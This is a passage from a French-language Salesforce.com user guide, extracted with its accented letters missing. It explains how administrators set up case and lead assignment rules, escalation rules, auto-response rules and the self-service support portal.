OR( ISPICKVAL(Cote de compte, Normal ) File d'attente de support de

, ISPICKVAL(Cote de compte, Mineur ) niveau 2
)

Voir aussi :
Configuration des rgles d'attribution
Affichage et modification des rgles d'attribution
Attribution de requtes

Configuration des rgles d'attribution

Rgles d'attribution des pistes disponibles avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition
Rgles d'attribution des requtes disponibles avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer
Edition

Autorisations utilisateur requises

Pour crer des rgles d'attribution :

Personnaliser l'application

Pour crer une rgle d'attribution :

1. Choisissez Configuration Personnalisation en haut de n'importe quelle page.
2. Slectionnez Pistes ou Requtes, puis cliquez sur Rgles d'attribution.
3. Slectionnez Nouveau et donnez un nom la rgle. Indiquez si vous voulez qu'elle constitue la rgle active des pistes ou
des requtes cres manuellement et via le Web et l'e-mail. Cliquez sur Enregistrer.

Personnaliser

Guide de l'utilisateur | Gestion des rgles d'attribution | 621

4. Pour crer les entres de rgle, cliquez sur Nouveau. Chaque rgle peut compter jusqu' 3 000 entres. Chaque entre
dfinit une condition dterminant la faon dont les pistes ou les requtes sont traites. Pour chaque entre, vous pouvez
spcifier ce qui suit :
Champ

Description

Commande

Dfinit l'ordre dans lequel l'entre sera traite au sein de la

rgle, par exemple 1, 2, 3.
Salesforce.com value chaque entre dans l'ordre et tente de
trouver des correspondances avec les critres de l'entre. Ds
qu'une correspondance est dtecte, Salesforce.com traite
l'lment et cesse d'valuer ses entres de rgle. En l'absence
de correspondance, l'lment est rattribu au responsable
Web vers piste par dfaut, l'administrateur effectuant une
importation de piste ou au responsable de requte par dfaut.

Critres

Prcise les conditions dans lesquelles la piste ou la requte

peut tre attribue.
Vous pouvez saisir vos critres de rgle :

Choisissez critres suivants sont remplis et

slectionnez les critres de filtrage que doit remplir un
enregistrement pour dclencher la rgle. Par exemple,
dfinissez le filtre de requte comme Priorit est gale
leve si vous dsirez que les enregistrements de requte
dont le paramtre Priorit est marqu leve
dclenchent la rgle.
Si votre entreprise utilise plusieurs langues, entrez les
valeurs de filtre dans la langue par dfaut. Vous pouvez
cliquer sur le lien Options avances pour ajouter jusqu'
25 critres de filtre pouvant contenir 255 caractres
maximum.

Choisissez l'valuation de la formule est

positive et saisissez une formule renvoyant les valeurs
True (vrai) ou False (faux). Salesforce.com dclenche la
rgle si la formule renvoie Vrai . Par exemple, la formule
AND(ISCHANGED( Priority ), ISPICKVAL
(Priority, "leve") ) dclenche une rgle qui

change le responsable d'une requte lorsque le champ

Priorit est dfini sur leve. Pour plus d'informations
sur l'utilisation des formules, reportez-vous laboration
de formules la page 428.
Si la condition utilise un champ personnalis, l'entre de rgle
est automatiquement supprime en cas de suppression du
champ.
Utilisateur

Spcifie la file d'attente ou l'utilisateur auquel la piste ou la

requte sera attribue si elle remplit la condition. Les

Personnaliser

Champ

Guide de l'utilisateur | Gestion des rgles d'attribution | 622

Description
utilisateurs indiqus ici ne peuvent pas tre inactifs et
doivent tre autoriss lire les pistes ou les requtes.
Remarque : les utilisateurs attribus une rgle ne peuvent
pas tre rattribus un profil qui n'a pas d'autorisation de
lecture des pistes ou des requtes. Par ailleurs, vous ne pouvez
pas supprimer l'autorisation de lecture des pistes ou des
requtes d'un profil associ un utilisateur attribu une rgle.
Si votre organisation utilise des services, les pistes sont
attribues au service par dfaut de la file d'attente ou de
l'utilisateur spcifi dans ce champ. Les requtes hritent du
service du contact auquel elles sont associes ou sont attribues
au service global par dfaut si aucun contact n'est spcifi.

Ne pas raffecter le responsable

Spcifie que l'utilisateur actuel sur une piste ou une requte

ne sera pas raffect la piste ou la requte lors de sa mise
jour.

Modle d'e-mail

Spcifie le modle utiliser pour l'e-mail envoy

automatiquement au nouveau responsable. Si aucun modle
n'est spcifi, aucun e-mail n'est envoy. Lors de l'attribution
d'une piste ou d'une requte une file d'attente, la notification
est envoye l'adresse E-mail de la file d'attente
indique pour la file d'attente et tous les membres de la file
d'attente.

Equipes de requtes prdfinies

Dfinit la ou les quipes de requtes prdfinies ajouter

une requte lorsqu'elles correspondent la condition. Une
quipe de requtes est un groupe d'utilisateurs travaillant sur
une mme requte. Par exemple, votre quipe de requtes peut
comprendre un reprsentant du support, un responsable du
support et un responsable projet. Pour plus d'informations,
reportez-vous Prdfinition d'quipes de requtes la page
1229.
Cliquez sur l'icne Rechercher ( ) pour slectionner une
quipe de requtes prdfinie ajouter la rgle d'attribution.
Pour ajouter une quipe de requtes prdfinie supplmentaire,
cliquez sur Ajouter une ligne afin d'ajouter une nouvelle ligne
dans laquelle vous pouvez insrer une quipe de requtes
prdfinie.

Remplacer toute quipe de requte prdfinie Indique que les quipes de requtes prdfinies existantes sur
sur la requte
la requte sont remplaces par les quipes de requtes

prdfinies sur la condition lorsqu'une requte correspond

la condition. Pour plus d'informations, reportez-vous
Prdfinition d'quipes de requtes la page 1229.

Personnaliser

Guide de l'utilisateur | Gestion des rgles d'attribution | 623

Une fois l'entre cre, cliquez sur Enregistrer, ou sur Enregistrer et Nouveau pour l'enregistrer et en crer d'autres.
Remarque: Pour crer une rgle sans erreurs, crez toujours la dernire entre de rgle sans critres. Cette entre de
rgle retient toute piste ou requte non attribue par les prcdentes.

Voir aussi :
Gestion des rgles d'attribution
Affichage et modification des rgles d'attribution

Affichage et modification des rgles d'attribution

Rgles d'attribution des pistes disponibles avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition
Rgles d'attribution des requtes disponibles avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer
Edition

Autorisations utilisateur requises

Pour modifier les rgles d'attribution :

Personnaliser l'application

Pour afficher des rgles d'attribution :

Afficher la configuration

Pour afficher et modifier les rgles d'attribution :

Pour modifier le nom d'une rgle, cliquez sur Renommer en regard de son nom.
Pour modifier les entres d'une rgle, slectionnez le nom de cette dernire dans la liste des rgles. Cliquez sur Nouveau
pour ajouter une entre ; choisissez Modifier ou Suppr pour modifier ou supprimer une entre ; ou slectionnez Rorganiser
pour modifier l'ordre d'application des entres. Chaque rgle peut compter jusqu' 3 000 entres.

Voir aussi :
Configuration des rgles d'attribution
Gestion des rgles d'attribution

Personnaliser

Guide de l'utilisateur | Gestion des rgles de hirarchisation | 624

Gestion des rgles de hirarchisation

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier les rgles de hirarchie :

Autorisation de personnalisation de l'application

Crez des rgles de hirarchisation automatique pour les requtes qui ne sont pas rsolues au bout d'un certain temps.
En rgle gnrale, l'entreprise possde une rgle de hirarchie compose de plusieurs entres de rgle dfinissant exactement
la hirarchisation des requtes. Par exemple, la rgle de hirarchie des requtes standard peut se composer de deux entres :
les requtes Type dfinies sur Gold sont hirarchises dans les deux heures tandis que les requtes Type dfinies sur Silver le
sont dans les huit heures.
Pour obtenir la liste du nombre maximal de rgles autorises dans chaque organisation, reportez-vous ditions Salesforce.com
et limitations.
Pour plus d'informations sur le dbogage des rgles hirarchiques, reportez-vous Qu'est-ce qu'un journal de dbogage ? la
page 906.

Voir aussi :
Dfinition de rgles de hirarchie
Affichage et modification des rgles de hirarchie

Dfinition de rgles de hirarchie

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des rgles de hirarchie :

Personnaliser l'application

Pour crer une rgle de hirarchisation :

1. Cliquez sur Configuration Personnalisation Requtes Rgles hirarchiques.
2. Slectionnez Nouveau et donnez un nom la rgle. Indiquez si cette rgle doit tre la rgle de hirarchisation active.
Cliquez sur Enregistrer.
3. Pour crer les entres de rgle, cliquez sur Nouveau. Chaque rgle peut compter jusqu' 3 000 entres. Chaque entre
dfinit une condition qui dtermine la faon dont les requtes sont traites. Pour chaque entre, vous pouvez spcifier ce
qui suit :

Personnaliser

Guide de l'utilisateur | Gestion des rgles de hirarchisation | 625

Champ

Description

Commande

Dfinit l'ordre dans lequel l'entre sera traite au sein de la

rgle, par exemple 1, 2, 3.
Salesforce.com value chaque entre dans l'ordre et tente de
trouver des correspondances avec les critres de l'entre. Ds
qu'une correspondance est dtecte, Salesforce.com traite
l'lment et cesse d'valuer ses entres de rgle. En l'absence
de correspondance, la requte n'est pas hirarchise.

Critres

Prcise les conditions dans lesquelles la requte peut tre

hirarchise.
Vous pouvez saisir vos critres de rgle :

Choisissez critres suivants sont remplis et

slectionnez les critres de filtrage que doit remplir un
enregistrement pour dclencher la rgle. Par exemple,
dfinissez le filtre de requte comme Priorit est gale
leve si vous dsirez que les enregistrements de
requte dont le paramtre Priorit est marqu leve
dclenchent la rgle.
Si votre entreprise utilise plusieurs langues, entrez les
valeurs de filtre dans la langue par dfaut. Vous pouvez
cliquer sur le lien Options avances pour ajouter jusqu'
25 critres de filtre pouvant contenir 255 caractres
maximum.

Choisissez l'valuation de la formule est

positive et saisissez une formule renvoyant les valeurs
True (vrai) ou False (faux). Salesforce.com dclenche la
rgle si la formule renvoie Vrai . Par exemple, la
formule AND(ISCHANGED( Priority ),
ISPICKVAL (Priority, "leve") ) dclenche
une rgle qui change le responsable d'une requte lorsque
le champ Priorit est paramtr sur leve.Pour plus
d'informations sur l'utilisation des formules,
reportez-vous laboration de formules la page 428.

Si la condition utilise un champ personnalis, l'entre de

rgle est automatiquement supprime en cas de suppression
du champ.
Spcifiez les critres des heures ouvrables Spcifle la manire dont les heures d'ouverture s'appliquent

une requte hirarchise :

Ignorer les heures d'ouverture - Slectionnez
ce champ pour ignorer les heures d'ouverture lors de la
hirarchisation d'une requte.
Utiliser les heures d'ouverture
spcifies sur la requte - Slectionnez ce

Personnaliser

Guide de l'utilisateur | Gestion des rgles de hirarchisation | 626

Champ

Description

champ pour utiliser les heures d'ouverture existantes sur

une requte lors de sa hirarchisation.
Pour configurer les heures d'ouverture Slectionnez ce champ et cliquez sur l'icne de recherche
( ) pour slectionner les heures d'ouverture prdfinies
appliquer une requte lors de sa hirarchisation.

Les actions de hirarchisation s'excutent uniquement

pendant les heures d'ouverture auxquelles elles sont associes.
Pour plus d'informations, reportez-vous Dfinition des
heures d'ouverture la page 593.
Spcifier le mode de paramtrage des heures Dtermine le champ applicable au nombre d'heures
de hirarchisation
d'anciennet. Le paramtrage du champ Anciennet
suprieure peut tre calcul sur le nombre d'heures

depuis que :
Une requte a t cre
Une requte a t cre, sauf si elle a t modifie. Une
fois modifie, la requte n'est plus hirarchise.
La requte a t modifie pour la dernire fois
Par exemple, si vous choisissez Lors de la dernire
modification de la requte et que le champ
Anciennet suprieure a pour valeur 5, les requtes
seront hirarchises 5 heures aprs les dernires heure et date
de modification, tant que la requte est en cours.

4. Une fois l'entre cre, cliquez sur Enregistrer, ou sur Enregistrer et Nouveau pour l'enregistrer et en crer d'autres.
5. Lorsque vous avez cr la dernire entre, cliquez sur Enregistrer. La rgle de hirarchisation et une liste d'une ou plusieurs
entres de rgles sont affiches.
Remarque: Pour crer une rgle sans erreurs, crez toujours la dernire entre de rgle sans critres. Cette entre
de rgle retient toute requte non attribue par les prcdentes entres.
6. Indiquez l'action entreprendre lorsqu'une des entres de rgle de hirarchisation se vrifie. Cliquez sur Modifier en regard
de l'une des entres de rgle.
7. Cliquez sur Nouveau pour ajouter une action de transfert au niveau hirarchique suprieur. Vous pouvez prciser jusqu'
cinq actions par entre de rgle, afin de changer la requte de niveau hirarchique au fil du temps. Pour chaque action de
hirarchisation, vous pouvez spcifier ce qui suit :
Champ

Description

Anciennet suprieure

Spcifie le nombre d'heures l'issue desquelles une requte

doit tre transfre au niveau hirarchique suprieur si elle
n'a pas t rsolue. Cette priode est calcule partir du
champ de date dtermin dans Spcifier le mode de

Personnaliser

Guide de l'utilisateur | Gestion des rgles de hirarchisation | 627

Champ

Description
paramtrage des heures de hirarchisation.

Le nombre indiqu ici ne peut pas tre identique pour deux

actions de hirarchisation.
Attribuer

Spcifie la file d'attente, l'utilisateur ou l'utilisateur partenaire

auquel la requte est attribue si elle rpond la condition.
Les utilisateurs indiqus ici ne peuvent pas tre inactifs et
ils doivent avoir l'autorisation Lire sur les requtes.
Les utilisateurs affects la rgle ne peuvent pas tre
rattribus un profil ne disposant pas de l'autorisation Lire
sur les requtes. Par ailleurs, vous ne pouvez pas supprimer
l'autorisation Lire sur les requtes partir d'un profil associ
un utilisateur attribu la rgle.
Notez que la rattribution d'une requte hirarchise est
facultative.

Modle de notification

Indique le modle utiliser pour l'e-mail automatiquement

envoy au nouveau responsable dfini dans le champ
Attribuer . Si aucun modle n'est spcifi, aucun e-mail
n'est envoy.

Notifier cet utilisateur

Indique l'utilisateur avertir en cas de transfert de la requte

au niveau hirarchique suprieur. Il est possible d'avertir un
autre utilisateur.

Prvenir le responsable de requte

Indique si le responsable de la requte doit tre prvenu

lorsque celle-ci est transfre au niveau hirarchique
suprieur.

Modle de notification

Spcifie le modle utiliser pour l'e-mail de notification

automatiquement envoy aux utilisateurs dfinis dans le
champ Notifier. Si vous choisissez un utilisateur dfini
dans le champ Notifier, vous devez slectionner un
modle.

E-mails supplmentaires

Indique les autres personnes avertir lors de la

hirarchisation.

Remarque: Ds que vous enregistrez une requte ou que vous modifiez le responsable d'une requte, vos rgles de
hirarchisation rvaluent la requte en question. Lorsque la requte correspond une entre de rgle de hirarchie,
le systme calcule le moment o la requte doit tre hirarchise et arrte de consulter d'autres entres de rgle de
hirarchie. Par exemple, s'il existe deux entres de rgle de hirarchie qui spcifient :

Hirarchiser trois heures aprs la date de cration si le motif de la requte est gal Panne
Hirarchiser quatre heures aprs la date de cration si le motif de la requte est gal Bogue

Pour une requte cre avec Bogue comme motif de requte, la hirarchisation est planifie quatre heures
aprs sa date de cration. Par la suite, si un utilisateur modifie la requte, les rgles de hirarchie rvaluent cette

Personnaliser

Guide de l'utilisateur | Gestion des rgles de hirarchisation | 628

dernire. Si les rgles dtectent que le motif de la requte est dsormais Panne , elles planifient la hirarchisation
de la requte trois heures aprs sa date de cration. Si la requte a t cre il y a plus de trois heures, elle est hirarchise
ds que possible.
Les rgles de hirarchie ne sont pas values lors du transfert simultan de plusieurs requtes partir d'une vue de liste
de requte. En outre, si vous utilisez des rgles d'attribution pour modifier la responsabilit d'une requte, les rgles
de hirarchie sont values avant les rgles d'attribution.

Voir aussi :
Gestion des rgles de hirarchisation
Affichage et modification des rgles de hirarchie
Surveillance de la file d'attente des rgles de hirarchisation des requtes

Affichage et modification des rgles de hirarchie

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les rgles de hirarchie :

Personnaliser l'application

Pour afficher et modifier les rgles de hirarchie :

Pour modifier le nom d'une rgle, cliquez sur Renommer en regard de son nom.
Pour modifier les entres d'une rgle, slectionnez le nom de cette dernire dans la liste des rgles. Cliquez sur Nouveau
pour ajouter une entre ; choisissez Modifier ou Suppr pour modifier ou supprimer une entre ; ou slectionnez Rorganiser
pour modifier l'ordre d'application des entres. Chaque rgle peut compter jusqu' 3 000 entres.

Voir aussi :
Gestion des rgles de hirarchisation
Dfinition de rgles de hirarchie
Surveillance de la file d'attente des rgles de hirarchisation des requtes

Personnaliser

Guide de l'utilisateur | Configuration des rgles de rponse automatique | 629

Configuration des rgles de rponse automatique

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des rgles de rponse automatique :

Personnaliser l'application

Les rgles de rponse des pistes et des requtes dterminent le modle d'e-mail utiliser pour rpondre des requtes et des
pistes captures via :

Web vers piste

Web vers requte
E-mail vers requte
E-mail vers requte la demande
Un portail client
Un portail libre-service

Vous pouvez crer des rgles de rponse reposant sur un attribut quelconque de la requte ou de la piste entrante. Les rponses
par e-mail sont rpertories dans la liste associe Historique des activits de la piste ou du contact et dans la liste associe
E-mail dans les requtes. Pour obtenir la liste du nombre maximal de rgles autorises dans chaque organisation, reportez-vous
ditions Salesforce.com et limitations.
Pour commencer configurer les rgles de rponse des requtes, cliquez sur Configuration Personnalisation Requtes
Rgles de rponse automatique.
Pour commencer configurer les rgles de rponse Web vers piste, cliquez sur Configuration Personnalisation Piste
Rgles de rponse automatique.

Cliquez sur Nouveau pour crer une rgle de rponse.

Cliquez sur Renommer pour changer le nom d'une rgle.
Cliquez sur Suppr pour supprimer une rgle.
Cliquez sur le nom d'une rgle pour afficher la liste d'entres de cette rgle.

Pour plus d'informations sur le dbogage des rgles de rponse, reportez-vous Qu'est-ce qu'un journal de dbogage ? la
page 906.

Voir aussi :
Cration de rgles de rponse automatique
Modification des rgles de rponse automatique
Diffrences entre les rgles de rponse automatique et les alertes de workflow

Personnaliser

Guide de l'utilisateur | Configuration des rgles de rponse automatique | 630

Cration de rgles de rponse automatique

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des rgles de rponse automatiques :

Personnaliser l'application

Vous pouvez crer autant de rgles de rponse que vous le souhaitez, mais vous ne pouvez activer qu'une seule rgle la fois
pour les requtes ou pour les pistes. Chaque rgle peut compter jusqu' 3 000 entres.
Les entres de rgles dterminent les critres qui doivent tre remplis ainsi que le modle d'e-mail utiliser lorsque les pistes
et les requtes gnres en ligne correspondent aux critres.

Pour crer une rgle de rponse une requte utilise par :

-

Web vers requte

E-mail vers requte
E-mail vers requte la demande
Un Portail Client
Un Portail libre-service

Cliquez sur Configuration Personnalisation Requtes Rgles de rponse automatique.

Pour crer une rgle de rponse Web vers piste, cliquez sur Configuration >Personnalisation Piste Rgles de
rponse automatique.
1.
2.
3.
4.
5.

Cliquez sur Nouveau.

Saisissez le nom de la rgle.
Cochez la case Actif pour activer cette seule rgle.
Cliquez sur Enregistrer.
Crez des entres pour la rgle.

Cration d'entres de rgle de rponse

1. Cliquez sur Nouveau dans la page de dtails de la rgle.
2. Entrez un numro pour dfinir l'ordre dans lequel cette entre sera traite. La rgle traitera les entres dans cet ordre. Elle
interrompra le traitement ds qu'elle trouvera une entre concordante et enverra alors le message correspondant l'aide du
modle spcifi. Lorsqu'aucune rgle de rponse ne s'applique, la rgle utilise le modle par dfaut spcifi sur la page
Paramtres Web vers requte ou Paramtres Web vers piste.
Remarque: Pour crer une rgle sans erreurs, crez toujours la dernire entre de rgle sans critres. Cette entre
de rgle retient toute piste ou requte non retenue par les prcdentes. Ceci est particulirement important pour
les fonctions Email vers requte et Email vers requte la demande qui ne comportent pas de modles par dfaut.
3. Saisissez vos critres de rgle :

Choisissez critres suivants sont remplis et slectionnez les critres de filtrage que doit remplir un
enregistrement pour dclencher la rgle. Par exemple, dfinissez le filtre de requte comme Priorit est gale

Personnaliser

Guide de l'utilisateur | Configuration des rgles de rponse automatique | 631

leve si vous dsirez que les enregistrements de requte dont le paramtre Priorit est marqu leve dclenchent
la rgle.
Si votre entreprise utilise plusieurs langues, entrez les valeurs de filtre dans la langue par dfaut. Vous pouvez cliquer
sur le lien Options avances pour ajouter jusqu' 25 critres de filtre pouvant contenir 255 caractres maximum.

4.
5.
6.
7.

Choisissez l'valuation de la formule est positive et saisissez une formule renvoyant les valeurs True
(vrai) ou False (faux). Salesforce.com dclenche la rgle si la formule renvoie Vrai . Par exemple, la formule
AND(ISPICKVAL(Priority,leve),Version<4.0) dclenche une rgle qui rpond automatiquement au
modle slectionn si le champ Priorit d'une requte est dfini sur leve et que la valeur d'un champ personnalis
nomm Version de la requte est infrieure quatre. Pour plus d'informations sur l'utilisation des formules,
reportez-vous laboration de formules la page 428.

Entrez le nom de l'expditeur de l'e-mail.

Entrez l'adresse e-mail de l'expditeur.
Slectionnez un modle de message.
Cliquez sur Enregistrer.

Voir aussi :
Modification des rgles de rponse automatique
Configuration des rgles de rponse automatique

Modification des rgles de rponse automatique

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les rgles de rponse automatique :

Personnaliser l'application

Pour modifier les rgles de rponse automatique utilises par :

Web vers requte

E-mail vers requte
E-mail vers requte la demande
Un Portail Client
Un Portail libre-service

Cliquez sur Configuration Personnalisation Requtes Rgles de rponse automatique, puis cliquez sur un nom
de rgle.
Pour modifier une rgle de rponse automatique Web vers piste, cliquez sur Configuration Personnalisation Pistes
Rgles de rponse automatique et puis cliquez sur le nom d'une rgle.

Cliquez sur Modifier pour renommer la rgle.

Cliquez sur Nouveau en regard de la liste Entres de rgle pour crer une entre de rgle. Chaque rgle peut compter
jusqu' 3 000 entres.

Personnaliser

Guide de l'utilisateur | Configuration des rgles de rponse automatique | 632

Cliquez sur Rorganiser en regard de la liste Entres de rgle pour modifier l'ordre de traitement des entres.
Cliquez sur Modifier en regard d'une entre de rgle pour la modifier.
Cliquez sur Suppr en regard d'une entre de rgle pour la supprimer.

Voir aussi :
Configuration des rgles de rponse automatique
Cration de rgles de rponse automatique

Diffrences entre les rgles de rponse automatique et les alertes de

workflow
Rfles de de rponse automatique disponibles dans : Professional Edition, Enterprise Edition, Unlimited Edition et
Developer Edition
Alertes de workflow disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Les rgles de rponse automatique et les alertes de workflow offrent des fonctionnalits similaires. Le tableau suivant prsente
quelques diffrences entre les rgles de rponse automatique et les alertes de workflow pour vous aider dterminer le processus
utiliser :
Type de processus

Conu pour

Excut quand

Envoie un e-mail

Nombre d'e-mails
envoys

Alertes de workflow

Notifications des parties Une requte ou une

concernes.
piste est cre ou
modifie.

Toute personne de votre Envoie autant d'e-mails

choix associe l'objet que le nombre de
Requte ou Piste.
critres de
correspondance dans le
workflow.

Rgles de rponse
automatique

Rponse initiale au
Une requte ou une
contact qui a cre une piste est cre.
requte ou la personne
qui a soumis la piste sur
le Web.

Contact d'une requte

ou personne qui a
soumis la piste sur le
Web.

Envoie un e-mail bas

sur le premier critre
d'entre de rgle qui
correspond dans une
squence d'entres de
rgles.

Personnaliser

Guide de l'utilisateur | Configuration du libre-service | 633

Configuration du libre-service
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour utiliser l'option de dmarrage du libre-service :

Grer le portail libre-service

Pour configurer le portail libre-service :

Grer le portail libre-service

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

Le libre-service fournit vos clients un rseau de support en ligne leur permettant d'obtenir des rponses leurs questions sans
avoir contacter le service clientle.
La configuration de votre portail libre-service est un jeu d'enfant. Faites votre choix parmi deux options de configuration :

Dmarrage automatique - Vous permet d'tre oprationnel rapidement (reportez-vous Dmarrer le libre-service la
page 634).
Configurer le libre-service - Configuration complte qui permet une plus grande personnalisation. La configuration
comprend les oprations suivantes :
-

Activation des paramtres et fonctions du libre-service la page 635

Personnalisation de l'apparence de votre portail libre-service la page 639
Personnalisation des polices et des couleurs du libre-service la page 642
Personnalisation de vos pages de libre-service la page 643
Gnration du fichier HTML de connexion la page 653
Gestion des utilisateurs libre-service la page 654

Voir aussi :
Personnalisation des polices et des couleurs du libre-service
Personnalisation de l'apparence de votre portail libre-service
Dmarrer le libre-service
Fiche de conseil de l'administrateur : Mieux exploiter votre portail libre-service
Guide de configuration de l'administrateur Guide de mise en uvre du libre-service

Personnaliser

Guide de l'utilisateur | Dmarrer le libre-service | 634

Dmarrer le libre-service
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour utiliser l'option de dmarrage du libre-service :

Grer le portail libre-service

Cliquez sur le bouton Dmarrage automatique pour que votre portail libre-service soit fonctionnel rapidement. Ce processus
automatise la configuration en dfinissant automatiquement des paramtres par dfaut.
1. Cliquez sur Configuration Personnalisation Libre-service Portail libre-service Paramtres Dmarrage
automatique.
2. Passez en revue le processus et cliquez sur Continuer.
3. Choisissez un modle de couleur.
4. Si ncessaire, modifiez les paramtres par dfaut et cliquez sur Enregistrer.
5. Testez votre portail libre-service en :
a. Cliquant sur Gnrer pour rcuprer un nom d'utilisateur et un mot de passe.
b. Cliquant sur Accder au portail libre-service pour prvisualiser vos pages.
c. Vous pouvez ventuellement cliquer sur Inviter pour indiquer aux autres utilisateurs la procdure suivre pour tablir
une connexion et prvisualiser vos pages.
6. Activez votre portail libre-service en copiant le lien fourni la section Activer le libre-service vers l'endroit appropri sur
votre site Web.
7. Cliquez sur Enregistrer lorsque vous avez termin.
8. Autorisez vos clients utiliser votre portail libre-service. Reportez-vous Gestion des utilisateurs libre-service la page
654.
Conseil: Pour modifier vos paramtres, reportez-vous Activation des paramtres et fonctions du libre-service la
page 635. Le dmarrage automatique du libre-service active automatiquement le bouton Activer le libre-service des
pages de dtails des contacts.

Personnaliser

Guide de l'utilisateur | Activation des paramtres et fonctions du libre-service | 635

Activation des paramtres et fonctions du libre-service

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer le portail libre-service :

Grer le portail libre-service

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

1. Cliquez sur Configuration Personnalisation Libre-service Portail libre-service Paramtres.

2. Cliquez sur Configurer le libre-service sur la page des paramtres libre-service.
3. Configurez les options suivantes :
Paramtre

Description

Connexion active

Permet aux utilisateurs de se connecter au portail

libre-service.

Modifier les utilisateurs libre-service

Affiche le bouton Activer le libre-service sur les pages de

dtails des contacts. En ce qui concerne les contacts pour
lesquels le libre-service est dj activ, le bouton Afficher le
libre-service apparat.

URL de dconnexion

URL de la page Web qui s'affiche lorsque les utilisateurs se

dconnectent du portail libre-service, par exemple
http://www.acme.com. Si aucune URL de dconnexion
n'est spcifie, le bouton Dconnexion ne s'affiche pas.

Origine de requte par dfaut

Origine par dfaut attribue toutes les requtes soumises

par l'intermdiaire du portail libre-service. Les valeurs
disponibles sont extraites de la liste de slection Origine
de la requte de votre organisation. Vous pouvez
attribuer diffrentes origines par dfaut aux requtes soumises
via le portail libre-service et la fonction Web vers requte.

Nouvelles requtes visibles dans le portail Slectionne automatiquement la case Visible dans le
libre-service
portail libre-service pour toutes les nouvelles

requtes, y compris les requtes cres via les fonctions Web

vers requte, E-mail vers requte et E-mail vers requte la
demande.
Abstraction faite de cette valeur par dfaut, les utilisateurs
qui crent des requtes peuvent paramtrer manuellement
la case Visible dans le portail libre-service.

Personnaliser

Guide de l'utilisateur | Activation des paramtres et fonctions du libre-service | 636

Paramtre

Description

Activer la navigation dans les solutions

Active les catgories de solutions dans le portail libre-service

afin que les clients puissent explorer les solutions par
catgorie.
Si les solutions multilingues sont actives, vous pouvez
traduire les catgories de solutions. Pour plus d'informations,
reportez-vous Saisie de termes traduits la page 90.

Catgorie suprieure du portail

libre-service

Catgorie suprieure accessible par les clients dans le portail

libre-service. Les clients peuvent voir toutes les solutions
marques comme Visible in Self-Service Portal
dans cette catgorie et ses sous-catgories.
Laissez ce champ vide pour permettre aux clients de voir
toutes les solutions marques comme Visible dans le
portail libre-service dans toutes les catgories.

Type d'enregistrement de requte

Type d'enregistrement attribuer toute requte soumise

via le portail libre-service.

Adresse e-mail De

Adresse e-mail partir de laquelle les messages de nouvel

utilisateur et mot de passe sont envoys, par exemple
support@acme.com. Lorsque ce champ est vide,
Salesforce.com utilise :
L'adresse e-mail de l'utilisateur de la requte automatique
pour les utilisateurs qui reoivent un e-mail avec un mot
de passe temporaire aprs avoir cliqu sur Vous avez
oubli votre mot de passe ? dans la page de connexion
du portail libre-service. L'utilisateur de requte
automatique est dfini dans Configuration
Personnaliser Requtes Paramtres de support.
L'adresse du dernier utilisateur avoir fait part d'un
commentaire pour les utilisateurs qui reoivent un e-mail
de notification de commentaire de requte.

Nom e-mail "De"

Nom qui sera associ au champ Adresse e-mail De, par

exemple : Support client Acme. Lorsque ce champ est vide,
Salesforce.com utilise :
Le nom de votre entreprise pour les utilisateurs qui
reoivent un e-mail avec un mot de passe temporaire
aprs avoir cliqu sur Vous avez oubli votre mot de
passe ? dans la page de connexion du portail libre-service.
Le nom du dernier utilisateur avoir fait part d'un
commentaire pour les utilisateurs qui reoivent un e-mail
de notification de commentaire de requte.

Modle de nouvel utilisateur

Modle de message utilis pour l'envoi d'un nom d'utilisateur

et d'un mot de passe initial tous les nouveaux utilisateurs

Personnaliser

Guide de l'utilisateur | Activation des paramtres et fonctions du libre-service | 637

Paramtre

Description
du libre-service. Le libre-service slectionne
automatiquement un exemple de modle. Pour crer votre
propre modle ou modifier l'exemple, reportez-vous
Gestion des modles de message la page 76. Ce modle
doit avoir l'attribut Disponible.

Modle de nouveau mot de passe

Modle d'e-mail utilis pour l'envoi d'un nouveau mot de

passe aux utilisateurs actuels du libre-service lorsque vous
rinitialisez leur mot de passe ou lorsqu'ils rinitialisent leur
mot de passe en cliquant sur Vous avez oubli votre mot de
passe ? dans la page de connexion du portail libre-service.
Le libre-service slectionne automatiquement un exemple
de modle. Pour crer votre propre modle ou modifier
l'exemple, reportez-vous Gestion des modles de message
la page 76. Ce modle doit avoir l'attribut Disponible.

Activer l'e-mail de notification lors d'un Lorsque ce paramtre est slectionn, il indique que l'option
nouveau commentaire de requte
Envoyer une notification au client sur un

commentaire de requte est affiche.

Mme si cette case n'est pas coche, l'option Envoyer une
notification au client apparat toujours sur les
requtes si vous avez activ les notifications par e-mail aux
contacts qui ne sont pas membres de votre portail
libre-service. Reportez-vous Personnalisation des
paramtres de support la page 597.
Nouveau modle de commentaire

Modle de message utilis pour l'envoi d'une notification

aux utilisateurs du libre-service lorsqu'un commentaire public
est ajout l'une de leurs requtes. Le libre-service
slectionne automatiquement un exemple de modle. Pour
crer votre propre modle ou modifier l'exemple,
reportez-vous Gestion des modles de message la page
76. Ce modle doit avoir l'attribut Disponible.

Activer les rgles de rponse automatique

pour les requtes libre-service

Indique si les requtes soumises via votre portail libre-service

dclenchent vos rgles de rponse automatique.

